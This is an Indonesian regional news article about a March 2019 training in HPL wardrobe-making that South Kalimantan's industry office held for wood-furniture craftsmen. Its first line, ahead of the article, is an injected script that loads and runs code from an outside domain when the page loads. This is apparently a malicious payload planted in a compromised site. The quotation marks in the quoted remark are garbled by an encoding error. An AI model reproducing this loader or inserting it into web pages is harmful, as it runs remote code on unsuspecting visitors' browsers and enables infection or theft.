(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Tingkatkan Kualitas, Dinas Perindustrian Kalsel Pelatihan Pembuatan Lemari HPL

AMUNTAI, Ditengah eksudus para pengrajin meubel kayu menjadi pengrajin meubel alumunium, Dinas Perindustrian Provinsi Kalimatan Selatan berupaya tetap mempertahankan para pengrajin meubel kayu agar lebih inovatif meningkatkan kualitas produksinya. Salah satunya dengan menggelar pelatihan pengembangan teknis pembuatan lemari High Pressure Laminate (HPL), Selasa (5/3).
Pelatihan berlangsung di Balai Diklat Industri Kayu dan Logam Hulu Sungai Utara, selama 10 hari dari 5 Maret sampai dengan 14 Maret 2019. Pelatihan meubel kayu itu disambut antusias 20 peserta dari kabupaten/kota se Kalimantan Selatan.

Sekretaris Dinas Perindustrian Provinsi Kalimantan Selatan H Ibnu Ansari mengatakan, perkembangan sektor industri meubel di Kalimantan Selatan terus menunjukkan hasil yang cukup signifikan.
Hal ini dapat dilihat dari produksi home industri yang terus mengalami peningkatan, sehingga banyak menciptakan desain-desain, inovasi yang baru bagi pengrajin dan pengusaha meubel.
Ibnu menyebut, kegiatan pelatihan yang dilaksanakan saat ini yaitu pembuatan lemari HPL bagi para pengrajin diharapkan dapat terus meningkatkan kualitas hasil olahan yang selama ini terus mengalami perubahan sesuai dengan selera konsumen.

ÃƒÂ¢Ã¢â€šÂ¬Ã…â€œHPL ini adalah salah satu alat alternatif bahan finishing yang memiliki keunggulan, yaitu untuk mempercantik lemari, meja, dan berbagai jenis furniture lainya,ÃƒÂ¢Ã¢â€šÂ¬Ã‚Â terang Ibnu.
Dengan adanya pelatihan, Ibnu berharap agar peserta dapat meningkatkan daya pikir untuk motif yang lebih bervariatif dan inovatif. (dew)

Reporter:Dew
Editor:Abi Zarrin Al Ghifari